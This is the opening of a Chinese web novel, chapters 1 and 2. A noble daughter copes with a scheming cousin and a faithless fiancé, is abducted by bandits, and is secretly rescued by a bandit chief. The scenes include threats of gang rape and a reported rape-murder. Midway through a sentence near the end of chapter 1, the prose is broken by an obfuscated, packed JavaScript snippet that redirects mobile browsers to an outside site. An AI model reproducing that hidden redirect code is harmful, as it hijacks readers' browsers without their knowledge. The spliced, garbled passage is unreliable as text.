《失忆后攻陷了前任》 1. 第1章 “表妹,你命好,一出生就什么都是好的,姨夫是开国的元勋佑国大将军,赐封宁国公,姨母是范阳卢氏唯一的嫡女,享尽荣华名誉,就连表兄们也年纪轻轻就在军中担任要职,京中多少郎君争着抢着想娶你,可我又有什么呢?” 看着满地狼藉,冯玉婵红着眼圈委身在地,小脸惨白,脖子上还挂着半条被勒断的白绫,脖子处红痕明显,我见犹怜地趴在断椅断凳边哭诉着,苏汐惜脸上半点没有撼动。 一旁的大丫鬟采苓向来持重,这会显然也没能忍住劝了句:“表姑娘请自量,你这样想的话,痛苦的只有自己,难道世间有那么多比表姑娘身世好的人,表姑娘遇到了就要自尽一次吗?” “采苓。”一直不说话的苏汐惜终于出言直斥,“休得无理。” “是...”采苓自知这次确实欠妥当了,但她是一直看着姑娘长大的人,看着姑娘身边出现这么不可理喻之人,是真的忍不住想教训,免得她心高到某个高度,连她家姑娘都想踩在脚下。 “冯家表姐,”理清了思绪后,苏汐惜才温婉屈膝一礼,缓缓声音犹如泉水清凌柔婉道:“自古嫡庶有别,这些是祖辈遗留的规矩,而非惜汐一人所可左右的,冯家表姐的母亲是庶出,自古庶出的本来就非正统,冯家表姐没有享用到正统之惠利,自然也不必担正统之责,可享平淡之福,凡事有好的一面就必定有其坏的一面,冯家表姐又何必多执呢?” 她说出的这番话是情真意切的,可听在冯玉婵耳里,只觉分外刺耳。 “我不过是喜欢翊郎罢了,翊郎他并不知晓我的心意,如果表妹要怪,就怪我,切莫怪罪翊郎!”说着,冯玉婵眼泪又清泉般涌出,活像被人拿话羞辱完的孤女,寄离人下不得不独自吞下委屈。 采苓看不过眼,干脆皱着眉别过脸不去看她。 苏汐惜闻听她“屈辱到极致”“脱口而出”的话,却并没有如冯玉婵所预想的愤怒,只是眼睛稍稍睁大,然后就安静下来思考。 思考了一阵,她像个完美的大家闺秀、世家贵女,神圣得连语气都不带偏颇道:“原本,冯家表姐若是安分守己,秉持世家贵女之风,冯家也算个清白人家,可堪为良家妾,待我嫁入裴家后,若你母亲同意,我便可做主把冯家表姐纳进来,可如今...” 她秀丽的眉头轻蹙,目光接触到地上那闹得一团糟的人,叹息地摇了摇头:“我苏家和裴家家风清正,是断不可让冯家表姐这样使小性不识大统的人进门。” 说完,她留下几位婢仆处理善后,自己就赶紧离开,并命人将今日府里当值的下人一并唤到跟前来,以防今日之事会走漏出去,影响宁国公府名声。 好不容易处理完这烂摊子,回到自己的素栖院坐下歇息,她左手端茶盏,右手轻按疼痛的额角,连坐姿都维持极致优雅之态。 采苦心疼她:“姑娘,平日你对表姑娘那么好,连圣上独赐给国公爷妻女的上好的浮光锦,你都舍得分给她,说是把她当作亲姐妹都不为过,可她这次明摆着是在自己院里摆戏台给你看,连未来姑爷都想抢!姑娘日后可不能再对她那么好,免得养出头白眼狼来!” 苏汐惜揉完额头后,继续沉静优雅地喝着茶,身为一位持重的苏家女,必须的基本素养是要遇事沉稳,顾全大局,明理辨事,个人情感只能排在最末尾。 “待冯家表姐好,不过是秉持我苏家待客的大家之风,不让人说道我们苏家待薄前来投靠的亲戚,我依大族规范来,她却不依规范走,那我就必须肃正此歪风,不能教外头的人知道我苏家出了如此歪风。” 采苦暗暗叹息,她们家姑娘自从七岁被接到夫人身边后,就一直谨言慎行,不管坐卧、言行无一不按夫人的标准规范来,现在哪怕是表姑娘怀有心计地故意想分她夫婿,姑娘连愤怒的情绪都不能有,就要立马考虑事情会不会外露,开始为这件事善后了。 过了没一会,果然国公夫人那边就闻得了消息,把苏汐惜叫去了。 卢氏给冯玉婵安排了几家家世配她都相当不错,甚至她还高攀了的郎君。 苏汐惜应母亲要求,亲自去给冯玉婵做思想工作,可结果可想而知。 自幼在田庄长大,又见惯了京都繁华的冯玉婵绝不甘于此。 她想要的,是这京中门户最高的有为青年,裴翊阆。 可裴翊阆注定是要与苏家联姻的,这是裴、苏两家大家族共同决定好的。 · 春日暖好,婢仆抽空将素栖院南面思微阁里的旧书拿出来晾晒,惊觉许多旧书已经被虫蛀蚀。 于是,采苦和采葑等人找来一些人将开始蛀蚀的旧籍誊抄下来,一时间,院里杂乱,书籍堆放得到处都是。 苏汐惜今日穿一袭浅色罗裙缀银丝边,外罩水月色纱衣,淡扫蛾眉,头发梳成凌云髻,只浅浅地簪了一朵精致的绯色绢花,眉眼轻轻朝上一撩,就美得如同倾城国色的牡丹,灼目而优雅,让人移不开目光。 她从屋里一路袅娜走至院里,院落忙着抄书的人只稍一抬眼就全都静默下来,连呼吸都是停顿的,直到采苦提醒众人别偷懒,大家才又晕晕乎乎地继续低头抄写,可脑海中却一直有一抹惊艳的影子挥之不去,心脏一阵急过一阵地砰跳。 苏家今日应邀去白尚书府中参加春日宴,春日宴名为赏花,其实是邀请各府年轻女眷年轻儿郎聚集一堂,以便相看人家的。 苏汐惜自己已有婚约,她今日是受母所托,带冯家表姐去相看郎君的。 今日京中不少年轻郎君听说苏家女会到场,比起以往的宴会来参宴的人数倍增,大家都慕艾苏汐惜才华和美貌,哪怕佳人一早已经名花有主,依然想近距离一睹芳华。 “姑娘今天好美啊,奴婢若是春日宴中的郎君,见了姑娘必定再无心思看旁人了。” 采葑凑过来眼神烁亮地盯着自家姑娘看。 苏汐惜顿住,秀眉轻轻一蹙,又对身后的采苓道:“帮我再擦掉一些胭脂吧。” “姑娘,这...”采苓为难道:“这胭脂已经很淡了,姑娘再擦的话就没有了。” “没有就没有吧,今日本就是替冯家表姐相看如意郎君的,我既站她身旁,就不该掩其光华。” 采苓心想,那冯家表姑娘能有什么光华,最出色的手段便是装柔弱搏人同情,她们家姑娘是国色倾城的牡丹花,而她充其量是那路边被泡在狗尿里的小□□。 不过这话她可不敢对姑娘说,她家姑娘最是蕙心兰质,被她听见她说诋毁表姑娘的话,定然谴责。 苏汐惜把胭脂擦掉,又换了朵色泽更浅的绢花,便打算出门。 路过石子路的时候,足下踩到一物,微涟的裙摆静止,她驻足。 “是什么?”只见她优雅地将裙摆旋开,采苓便见一鹅黄色封面的本子上印出朵精致小巧的兰花,那是姑娘香履底下的兰花。 “可能是采苦她们嘱人抄旧籍,奴婢去放好吧。” 采苓说着就要捡起拿过去,苏汐惜苦思的秀眉突然一抬,急唤道:“回来。” 采苓纳罕姑娘鲜有地对什么东西会有如此情绪起伏,随后那本鹅黄封面的书便被她收进怀里。 “时间快来不及了,我先收着吧。” 原来还是心急想尽快办妥表姑娘的事。 今日尚书府的春日宴较往常要热闹上几番,除了一些想一睹苏汐惜芳华的年轻郎君外,一些年轻的女郎也想暗自同这京都开得最艳最美的倾城色较较劲。 苏汐惜习惯了往常自己去到哪,哪里就人群汹涌的景象,而且京城中还有一个奇怪现象,每次苏汐惜出门,不管她身上所穿、脚下所履、头上所戴,第二天必定成为京城中女郎们竞相模仿的大热款式。 有一年,卢氏祖父身体有恙,卢氏让苏汐惜陪她一起穿素服到庙里给曾外祖吃斋念佛,第二天,全京都城中的女郎统一缟素,一时间成了“国丧”,事情甚至闹到宫中去,此后卢氏才不敢再让女儿穿过于寡素的衣裳,但也叮嘱她切记卢氏戒律,不可穿过于浮华的衣裳。 今日,苏汐惜这身款式清浅的罗裙穿上身,犹如不食人间烟火的仙子,从她下马车的一刻,就被无数双目光锁紧了,一些花了大钱混入来的绫罗绸布坊和成衣坊的掌柜已经在默默记下款式了。 “成文兄,听说今日宁国公千金苏大姑娘也来了,你看见前头停着的马车了吗?” “苏大姑娘吗?难怪我刚才见子瑜兄也来了,刚才见那些郎君们汹涌地冲去前头看的情景,倘若我是子瑜兄,有未婚妻如此,怕也是不会放心的。” “什么未婚妻?子瑜兄是裴子瑜吗?苏家大姑娘什么时候成了裴子瑜的未婚妻了?我记得她不是从小就与太...” 这时有人“嘘”了声,禁止他继续说下去。 “成文兄,你这些年一直随父久居江淮一带,京城有些事你还没有来得及了解,自打五年前容氏被清剿之后,昔日连给容家提鞋都不配的裴家便被提起来了,如今京中门户除了苏家之外,就数裴家是第一门户了。” “昔日是苏家和容家,容家退了之后,自然就是苏家和裴家了,太子被废,苏大姑娘的夫婿自然就落到裴家的儿郎身上了。” “不过你还真别说,论才华容貌,刚才我看了那苏大姑娘一眼,就觉得还是从前的太子殿下与她最为匹配,裴子瑜的话...还是稍逊一筹。” 几人在说话期间,裴翊阆不知从哪里走了过来,旁边有人看见了,热切地同他招呼道:“子瑜兄!” 那几个在道人长短的人顿时噤了声,犹豫着望了过来,尬笑着打招呼道:“子瑜兄。”“子瑜兄...” 裴翊阆为人温雅,不喜与人计较,只微笑轻轻点头回礼,就走过去找苏汐惜了。 等人走后,那几个人才恢复说话,道:“他刚刚应该是听见了吧?” “废话!你说话那么大声,聋子都听见了。” “这么看来,裴子瑜也不差啊,至少气量还是可以的。若是论才华绝学,从前的太子殿下三岁识字、七岁博览经书、十一岁就做出惊世绝伦的策论文章,如此惊世之才,绝无仅有,即便是历朝历代也难得出一个,子瑜兄比不上也不奇怪,但若论秉性的话,还是子瑜兄比他好太多了,嫁婿要嫁人品,我认为苏大姑娘是选对人了。” 这时候,被誉为“佳婿”最好人选的裴翊阆正在花厅里隔着一面屏风同苏家大姑娘“客套”地叙着话。 “惜汐,上回你说喜欢的云翠双鸾步摇,我托舅舅找到了,今儿给你带了来,希望你喜欢。” 他话刚落,屏风对面的采苓就走了过来接过步摇,却并不拿走,仔细看了一遍后交还与他,返回屏风后同苏汐惜耳语。 随后,屏风后传出苏大姑娘柔婉得体的声音:“裴郎君请收走吧,我们毕竟是未过大礼的未婚男女,虽有婚约在身,但现下就私相授受,未免落人口舌,还请郎君自重。这...于礼不合。” 她一番客气疏离的话,顿时让裴翊阆热切的心凉了半截。 “怎么会?从前你不是跟我说...” “裴郎君误会了,”苏汐惜打断他,“那些话郎君就当忘了吧,苏家和裴家都是高门大户,该遵守的礼节还是请郎君遵守,无规矩不成方圆,郎君是饱读诗书之人,理应知礼懂礼守礼,莫要落人口舌。” 从前裴翊阆私下送礼传话是通过冯玉婵的,那时冯玉婵拿回来的礼物都被她严厉让其退回了,只是没想到她竟胆大到歪曲她的传话,还把礼物占为己有,而她一直被蒙在鼓里,害裴郎君一直都以为她在接受他的私相授受之物。 她不明白,裴郎怎么也算是世家之人,怎么会不懂规矩呢。 裴翊阆被她当面严词拒绝,顿时很懵,等她决然转身离开都还没回过神来,远远看着她的背影,只觉心下万分失落。 就在这时,一直被几个婢女看顾着的冯玉婵终于找到机会逃了过来,刚踏进花厅就看见裴郎君朝她看过来,她惊喜地唤了一声“裴郎!” “姑娘,对不起!都是奴婢不力,刚刚被表姑娘跑掉了,她好像去找裴郎君了!” 几个婢子跑来同苏汐惜禀报道。 苏汐惜眉头微微一蹙,叹了口气,沉静道:“若我知晓裴郎君今日来,就不带冯家表姐来了,你去守着那边,莫要让他俩闹出动静让人知晓。” 裴翊阆怎么也想不到,那些隔三、五日一封,与他持续私下通信半年之久的人并非苏汐惜,而是眼前这位寄居宁国公府的表姑娘冯氏。 起先他写信笺托冯姑娘拿给苏汐惜时,心里是知晓那样做很是不妥的,苏家和裴家都是大门户世家,世家之人需要遵守严格的规令,这样在未婚的情况下私相授受、互通信件,传出去的确会让女方名节受损,遭人非议。方才苏汐惜对他算是态度好的了。 但他仰慕苏汐惜名声已久,一时没能控制住自己,更何况,后来他收到苏汐惜回信后,大受鼓舞,至此每隔三、五天就要写信慰藉思念之苦。 “我那时候看裴郎你满怀期待的,不忍心让你失望...我不是有意要瞒你的...” 冯玉婵睁着红红的眼睛就开始一滴一滴流出泪来,瘦弱的身子微微颤抖,瞧着就像被雨摧打的孤零的花。 “对不起我...我本来也想过要怎么样才能一直瞒过你...我知道你不喜欢我,但...但...” 她说着说着突然捂住了脸,晶莹的泪水便从指缝间溢出,“对不起我...我只是太心悦你了...对不起!对不起...” “我知道自己高攀不起裴郎,我不该再继续横亘在你和表妹之间的...我...我...” “我今日是来相看的,姨母她...为我相看了几家,”她抽噎声渐渐云收雨歇,擦干眼泪,努力呈现出一副负隅顽强之态, 强颜仰起小脸对他挤出一丝苦笑,“那祝府的公子我瞧着就不错,如无意外就要定下他了,裴郎放心,日后我定不会再缠你了,从前婵儿那些剖心的话,你就当没听过,以后你同表妹要好好的...” 说完,她隐忍地转身,回身最后望他一眼时,眼梢还挂着泪珠,勉力对人挤出一丝微笑,然后义无反顾提着裙,拖着刚才出逃时摔伤的腿,一瘸一拐地离去。 裴翊阆看了看眼前的人,又回想起方才花厅里苏大姑娘的疏离冷漠的话,再也忍不住冲出去拉住冯玉婵的手,“祝府公子行为不端,私下里时常到花楼眠花宿柳,冯姑娘如何能嫁?” 冯玉婵吃痛一声把手一缩,裴翊阆一愣,“手也伤着了吗?” “没事...”她低着头缓缓将手缩回,“也是...嗯...方才不小心摔的。” 见她明显言辞闪烁,裴翊阆有疑,因为此前在苏汐惜那遇了冷而现在面对冯玉婵截然不同的热烈感情,脑袋有些晕乎,胸腔处酸涩澎湃的情感终于驱使他做了不当的行为。 他拉着冯玉婵的手,一寸一寸捋开她衣袖,看见露出勒痕时一愣,“她...对你的?” 其实那几个婢女都是苏汐惜亲自调`教的,懂分寸,绝不会对一个冯家的表姑娘做出那样的行为,这些勒痕是冯玉婵自己用绳子偷偷弄的。 她故意作出一副闪烁其词的姿态,道:“裴郎你...你别问了!不是的...不是那样的...表妹她没有!是...是我自己弄的...” 话确实是真话,可这样的言辞听在裴翊阆耳中,又焉能不引起误会? “别走,冯姑娘你别走,不要怕,我会保护你的。”裴翊阆再也忍不住,一把握着她的腰就将人拉进怀,紧紧拥住了。 这时候苏汐惜刚刚走到他二人对话的假山群,拐过一片假山内的石钟乳,便见假山洞上方透气孔漏出的光线打在相拥的未婚男女身上,他们难舍难分的样子,活像苏汐惜是那棒打鸳鸯的人。 那二人拥得浑然忘我,完全没有发现苏汐惜的存在,冯玉婵更是胆大地一把勾住裴翊阆的脖,把唇吻了上去。 采苓气得就要上前喝止,被苏汐惜硬生拉住。 苏汐惜朝她比了比眼色,示意假山群外来了人,她们不能在这关节眼闹出动静引人注意,只能悄悄地退出去,先把外头的人引开再作打算。 采苓离去前又愤懑地瞪了那方拥`吻的狗`男女一眼。 苏汐惜顾全大局地不但没有当面拆穿二人,还要担心那二人苟`且的行为被发现,着急上火地出去替他遮掩。 她才刚转身,就听见来自身后传来的声音: “惜汐好是好,不及尔尔。” “裴郎说笑了,既然她那么好,又怎么会及不上我呢,你是在哄我的吧...” 然后,裴翊阆像是生怕一不解释清楚她就要另嫁他人似的,急忙起誓道:“惜汐是贵女中的典范,她言行举止无一不是比对着教条来的,一丝不苟,是世人心中可堪为妻的模子,可人毕竟是有感情的,不能抱着墨守成规的东西过日子,相比于她,还是冯姑娘你更合我心意。” 人毕竟是有感情的...是有感情的...感情...的... 这句话反反复复地在苏汐惜耳边回响,仿佛在许多年前,也曾有一个男子浑身是血站在宁国公府后门,眼神幽暗阴冷地看着她一点一点将木门闭阖,指控她: “苏汐惜你是石头吗?石头都能捂得热,你能捂热吗?人是有感情的...怎能像你这样冰冷,你就守着你的教条过日子,看以后哪个郎君愿意陪你一生一世!” 他说她连石头都不如...也的确是的,石头哪有她端庄贤良,行举仪态哪有她的标准啊,就连要求苛刻的母亲,最后也赞赏她璞玉堪雕,可堪为贵女之首。 可见过哪块石头能堪贵女之首的? 苏汐惜一声不响地走出假山替裴翊阆遮掩了过去,回府的路上,脑海中一直想着裴翊阆嫌弃她寡淡无趣的话。 许是像冯玉婵这样娇媚跳脱、不守规矩的姑娘,才有可能让久缚尘俗的世家公子裴翊阆觉得新鲜从而倾心吧。 回到宁国公府没多久,苏汐惜正要去见卢氏,想与她聊聊退婚之事,就有人来通传说是裴家郎君前来找姑娘致歉的。 苏汐惜让人去将裴郎君请到前院的偏厅稍坐,她想这边跟母亲聊好后,接着去跟他聊。 孰料卢氏听完汐惜的话,先是沉默了一下,然后有些艰难地同她坦白。 “汐惜,你爹和兄长这次出战,恐怕凶多吉少,倘若他们跨不过这次这道坎的话,我们苏家...” 卢氏的言下之意是,苏家此时正是牵一发而动全身之时,这时候苏家万不能出任何差错。 她爹和兄长们要做的事,苏汐惜是隐约知道一些的,所以才要她嫁给裴翊阆,就是为苏家争最后一线生机。 苏家如今正因为她爹和兄长们要做的事,被许多人盯上,就连裴家也开始重新审视与苏家的结盟,只是因为她和裴翊阆的婚事被下了一道圣旨,只要一日陛下还顾念苏家昔日的救命之恩,这个婚事他们裴家就退不掉。 “汐惜,母亲知道你委屈,但是...身为苏家女,享受了苏家嫡女的尊荣和锦衣玉食,就须得担任起其责任和担当,可懂?” 苏汐惜是京都第一贵女,被万人赞誉,她这些年来都做得很好,包括同前太子殿下斩断关系那件事,她都做得很好,很决断,她当然懂得该怎么做。 也就是说,现下哪怕裴翊阆同冯玉婵纠缠做出丑事都好,她都必须顾念现下苏家的情况,帮他二人将这件事彻底遮掩下去,自己还要装作不知,想尽办法继续同裴家的婚事。 这才是,对家族好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041506|178794||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。 苏汐惜端方矜傲地站起,每走一步都像印压着整艘大船航道,偏离不得丝毫。 “现在可以,把裴郎君请进来了。” 刚才在尚书府假山内忘情地同冯姑娘拥吻的时候,裴翊阆是知道自己这样不好的。 而且,在二人完事走出去的时候,他才发现苏汐惜刚才就在这附近看着他。 他是来归还她遗落的手帕,并且来道歉的。 苏汐惜依旧在花厅里搬来一座纱屏遮挡着,避免未婚男女私下相见。 裴翊阆预料一个正常的闺中姑娘,不可能会原谅他,可当他认错道歉,并且说明会主动退婚的时候,对方却不肯了。 “男子三妻四妾,发生那样的事本就寻常,裴郎君不必感到太愧疚。” “倘若你真的喜欢她,大不了等我们成了亲,我再做主将她纳进来,我会把事情安排好,裴郎君不必忧心。” 裴翊阆想过她会生气,却断断没想过她会平心静气到如同一个局外人般大度。 其实她没错,她这样才堪为一个真正大家闺秀、贵女的典范,不嫉不妒,识大体,懂进退。 可他想要的不是这样。 “难道...汐惜完全都没有一丝羞怒的吗?你的未婚夫婿在你面前不知廉耻地同另一个姑娘做亲密之事,你这样也不介意?” 苏汐惜淡然地抿一口茶,优雅地搁下茶盏:“世间男子多风流,历来如此,有什么好介怀的?而且,你不都来道歉了吗?” “我是来退婚的。”裴翊阆一个温和难得生气的人都有些恼怒,“我想娶一个与我心意相通,互相爱重的人生伴侣,而不是一个优秀的高门主母。” “裴郎君此话就太孩子气了,”苏汐惜明明是在温温婉婉地说着话,可她的话总让人有种被她俯视着,让人自惭形秽的感觉。 “裴郎君身为世家大族之人,身上担负着整个家族的兴旺,焉能光凭自己喜好娶一个门第不高行为还不检点的女子?” “你别用你那迂腐的规矩来套在婵儿和我身上!”玉面公子生气道,“我俩真心相爱,总好过你冷冷冰冰、没有感情!” 苏汐惜丝毫没有被他的言语激怒,反而思路清晰,言辞犀利,柔婉地劝道:“你我的婚事是圣上御赐的,即便今日我苏家落魄了,这道婚旨一日还在,你们裴家就仍然在圣上面前担任着重要的任务,圣上是断不会亏待你们裴家的,反之,倘若你违抗了这道婚旨退婚,不就代表裴家公然告诉圣上,你们裴家在短短这几年里做了圣上权衡朝堂的棋子,得了些权就志得意满,不甘愿被操控了,有自己想法了吗?” “裴家的权是圣上给的,圣上自然也收得回去,这样你还看不明白吗?我苏家今日哪怕真的落魄了,当年淮陂之战我父亲也是救了圣人一命,这是被载入史册,赐过铁券丹书的。我们的婚事于裴家百利而无一...” “够了!我需要你一个女子给我分析这些吗?”裴翊阆愠道。 苏汐惜垂脸,“汐惜失礼了。” 她没有失礼,作为一个合格的未来裴家妇,在夫君看不清局势时,适时提点,本就是大妇的职责,只是在情面上,她确实悖了他男人的面子。 裴翊阆离开时,送他走的下人明显看得出向来温文的郎君脸色有些难看。 · 苏汐惜做梦也没有想到,身为京城第一门户的贵公子,有礼教懂廉耻,为了能与她解除婚约,挣脱家族对他的束缚,竟然会买通山匪在她带同母亲连夜出京城前往范阳外祖家避风头之时,将她掳走。 被人半路截停车辆带走的时候,她还不知晓,是后来她挣扎得狠了,扯开了抓她那黑衣人的衣裳,看见他腰间别着的有纹路的玉牌。 她认出了那是裴家府军的印记。 那黑衣人一下将她从车厢掳出,那些山匪则是后来才赶上,他把苏汐惜双手反剪绑好扔给那山匪贼头,道:“后方的人都解决干净了吧?那这位苏家大姑娘就交给你了,知道怎么做不用我教了吧?” “知道、知道,谢谢爷...” 苏汐惜眼泪溢出,口腔被一些又糙又硬的东西塞得颊骨又酸又僵麻,都快脱臼了,细嫩的腮肉被擦破了,有腥甜血味渗出。 夜里的山岗被银白的月光照出一片惨白,整片天地被吞咽在厚重压得人窒息的浓墨中,她流着泪,扭头看见重影的浓墨里走出几十个弓背手挽柴刀的大汉,为首一个满脸横肉豁齿的汉子接住她,朝那黑衣人迭声谢道。 他送走那黑衣人,才低头凑汐惜领口深吸一口,露出贪婪的目光:“美人儿,要怪就只能怪自己命生得不好,你的清白挡了某人的道,找老子来毁你清白,你就安心跟了老子,老子保准你当压寨夫人可比当什么高门大妇快活多了。” 苏汐惜红着眼,瞪着他那糙树皮一样按在她腰上的手,拼命扭动身躯想要远离。 礼教中妇有四德,妇德、妇言、妇容、妇功,其中妇德谓之贞顺,贞洁乃世家女子排在首位的东西,视之如命,他他他...他这手是要了她半条命啊!! “那些个京城公子个个瞧着孱弱无力的,怎么能满足你这如花似玉的女娘?我们这弟兄那么多,个个都力大如牛,你先别急,等老子艹够了你,就让他们一个个轮着来,今夜一定喂饱你...” 接着就是一些苏汐惜前所未闻的极其粗鄙下流的言语,她不敢置信世间竟有如此下流不堪入耳的话,听得她眉头直皱,只想把听过污`秽言语的耳朵削掉,想把那些犹如泡过苍蝇蛆虫腐水的话语从脑海记忆处放一把火烧干净。 太脏了!太脏了!简直不堪入耳到让人发指! “唔唔...”她恼忿地瞪着美眸,用头攻击对方时仍然要将脖颈昂成骄傲的姿态,一头撞击在匪贼头的胸骨上,发出“嘭”一声闷响。 那贼头也不留神一个弱女郎在被束绑双手的情况下还能攻击,便让她得逞了,但一个孤弱的女子在山岗中,又怎么能轻易逃出他们手掌心? 没跑两下,她就被人拎小鸡似的拎回来,丑陋肮脏的贼人眯着眼像逗弄一只被折了前肢只能匍匐后腿慌乱逃窜的可怜猫儿,四五个人就堵成人墙将她的生门彻底堵死。 “有爪牙的美人好啊,有野味,太弱了老子反倒不喜欢了,待会埋在老子底`下的时候,也这样,野一点,老子喜欢!” “哈哈哈哈哈...” 周围的贼人都哄堂大笑起来。 不管苏汐惜如何挣脱、逃窜,都被他们一次又一次轻而易举抓回来,没一会,她身上的衣裳已经残破,最后一次被人拽回来的时候,肩膀那一块的衣物直接被撕了下来,溶溶月色下露出莹白珍珠似的圆润肩头,看得那些贼匪眼珠子都快掉出来。 苏汐惜自知今日劫数难逃,卢氏多年教导她作为一个高门贵女的基本要求,她决不容许自己活着遭受那样的折辱,于是,这一次,她逃奔的目光揪准了旁边一棵粗壮的树干。 · 芜山地势高耸,且山上资源丰富,各种原始山林能掩蔽的地方多,到了山腰的位置地势逐渐平缓,适合居住,可攻可藏,是各路山匪必争之地。 近年在城外鹿口一带盘桓的各路贼匪中,一支高扛玄底红字旗帜的黑鹰帮匪冦逐渐壮大,把临近小帮派打倒拆散并且吞并入伍,慢慢地,形成了与当地最凶悍的芜山上的水帮山贼分庭抗礼的局面。 这一天,他们知道水帮揽下了一个阴鸷的差事,黑鹰帮首领率领众弟兄等水帮的人开始去拦车队掳人的时候,就趁着他们和车队的人打斗时从后方突袭,打他们措手不及。 以这支车队的行进方向和车辆内饰来看,应该是京城中高门贵户的人家因一些突发的原因,连夜离开京城到外地避险。 这对于黑鹰帮而言,绝对是一件大好的事,这一举不但能直接将盘占芜山数年之久的水帮驱赶下来,还能救下一户京中显贵。 虽说这京中显贵看起来也不是很济,需要连夜逃出京城,但烂船还有三斤钉,瘦死骆驼比马大,今日救这显贵一命,说不定来日还有他用之处。 黑鹰帮从山下打到山上,弟兄们救下了马车上的贵妇人,贵妇人哭着求他们帮忙到山上将她女儿救下,弟兄将这事禀告了后方的首领。 黑鹰帮首领穿一袭玄衣斗篷,把头部都遮盖住,身量高大显眼,站在人群的最末尾。只露出一个精致的下巴、削薄唇和笔挺鼻梁,依然能看得出这是一个很年轻且英俊的男子。 卢氏颤着身子上前给这个匪冦首脑拜礼,身旁扶着她的仆婢也跟随她一起跪。 这位出身范阳卢家的国公夫人,这辈子怕是除了父母长辈外,就只有进宫需要跪拜了,可她如今没有办法。 苏家的府军都去前线接应苏穆了,留下的兵不多,不然也不会在这种时候被区区一山野贼匪逼至如斯田地了。 “大侠...妾身乃范阳卢家的人,若你能救回我女儿,想要什么,或者日后需要卢家相助的话...只要不是伤天害理、违背道德之事,我们卢家...赴汤蹈火。” 卢氏跪了他许久,他都没有反应,他就像一尊黑夜里的神,高傲而孤独地站在人群最末尾。 “那个...老大,这位夫人都这样有诚意了,您老人家好歹?给句准话呀...”这时有人忍不住开口。 斗篷微动,这时,那抹孤高的身影终于肯上前一步,拖着慵懒淡漠的沉磁声线:“你是——范阳卢氏?那你女儿...” 他似是低头思考片刻,随即把衣袍一甩,转身:“鄙人是山上的大盗,最是爱干伤天害理,大逆不道,违背天地道德之事,你跟一个杀人不眨眼的大盗贼匪头目求助,老子劝你趁我心情好没把主意打在你身上时,赶紧逃吧。” “还求我救你女儿?哼——” 2. 第2章 黑鹰帮首领最终还是领人上了山。 水帮的大部分人马已经在山下被他制服,山上剩余的就是十几二十个贼匪和水帮首领。 因为卢氏不知道情况,所以不敢让剩下的侍卫上山怕送死。 黑鹰帮首领只带数人狂妄地上了山,上山后没多久,他就领人下山来。 卢氏见他只抬几箱财物下来,一时有些哑然。 “那个...侠士,我女儿呢?” 她膝盖有些伤,跌跌撞撞地过去想拉他衣袍,结果被他一把拂开。 长指一指:“左边第二个箱子就是,尸首在那,我上去时他们已经将人剥`衣`奸`杀了,尸首面目全非,我一个弟兄脱了衣裳给她盖着。” 卢氏一见,他身后一圆眼少年确实少了件衣裳。 “其余那几箱珠宝,你们找找看,有你们的东西就拿走,余下的归我,今夜这件事我们互相对外不提,成吧?” 卢氏没能继续听得进他的话,脚一颤人就差点昏倒过去,却碍于还有个大担子担着,只能强捂住膝盖站起,把手心掐到出血,勉力让自己支持住不倒下。 玄衣斗篷男人没空理会她们,见她们不打开那几箱珠宝检查,便叫人将几箱珠宝抬回山上,只留尸首的那箱在原处,领着黑鹰帮弟兄浩浩荡荡地占据山头去。 “老大,你这么做不仁义吧?” 他身后的圆眼少年追上来,“我刚才看那位夫人伤心欲绝的样子,她不会做傻事吧?” “与我何干。” 玄衣男人一脸冷漠,双手抱臂夹着长剑往山上去。 “不是...老大你想想,倘若那位夫人果真因此郁郁而终,那我们不是做了间接杀害无辜的事了?那是会遭天打...” 圆眼少年说到一半停下来,因为他撞上了前方玄衣男高大宽阔的脊背。 少年摸着鼻子吃痛嚷嚷:“老大你好端端怎么突然停...” “你太吵了。” 玄衣男抿着薄唇,幽冷道:“首先,她那种有名望的大世家,绝不可能为了区区儿女的死,就想不开的,他们有更加重要的家族担子。” “而且,老子又不是没帮她救女儿,刚才她只要打开旁边装珠宝那箱子看,就会知道了,是他们自己没开,怪得了人?” “再者,你我都是山上土匪了,怕遭天打雷劈当初就别跟着老子!要干干,不干滚蛋!别在我耳边念经!” 他这一吼,果然吓得少年垂脸哑了声,低头垂尾地缀在身后,不敢多话。 黑鹰帮的弟兄们上了山,就把黑鹰的旗帜插在了山腰的土丘上,把周围都点燃了熊熊的火炬,将这片宽阔的山地平原照得亮亮的。 这里被水帮的人建成了村庄模样,房舍是用青砖砌成的,十分奢侈,就连房舍村落附近那个山门,上方那刻着“水帮”的牌匾石,都用上了玉石。 “从前曾听闻水帮有钱,没想到这么有钱啊!这得抢掠了多少的钱财啊?” 黑鹰帮的人不禁发出喟叹。 可他们的老大,玄衣男像是对这些金银珠宝还有房舍都没有特别大的反应,仿佛在他眼中一切都是寻常俗物,只有他是仙家圣人。 仙家圣人这个词加叠在一个土匪身上是极其矛盾的,可他们的老大偏偏就是这样。 “把水帮余下的人都仔细捆好找个洞穴关押着,明日让他们逐个将自个所犯的罪状想好送过来。” “搜缴的财宝先搁着,去山下找个懂医的人来。” 交待完这些,玄衣男用脚踢开其中一个大木箱,盛满了珍珠的箱子里,安静地躺着一位比珍珠还耀眼的,仙女般的姑娘。 弟兄们都看傻了眼,从未见过如此好看的姑娘。 圆眼少年叹了一声。 这就是他无奈的原因,他一直都知道,他们老大是个大大的好人,但就是喜欢口是心非,嘴硬心软。 明明人都救下了,偏要装成坏人,把水帮老大玩死的小妾装箱子抬给山下那位夫人说她女儿死了,然后偷偷将人藏别的箱子里。 光明正大做一次好人是会损害他脸面还是怎么的?非要做得这么周折,现在好了,那位夫人以为自家姑娘死了伤心欲绝,而那位姑娘又得抬回山上来,还得大半夜找医者来。 而少年不知道的是,把姑娘“又”抬上山,可不是因为他们老大拉不下脸来正经当一次好人,而是... 他是故意的。 房舍里的木榻上,李祎一袭黑衣抱臂站在榻边,居高临下地盯着榻上躺着一无所知的人儿。 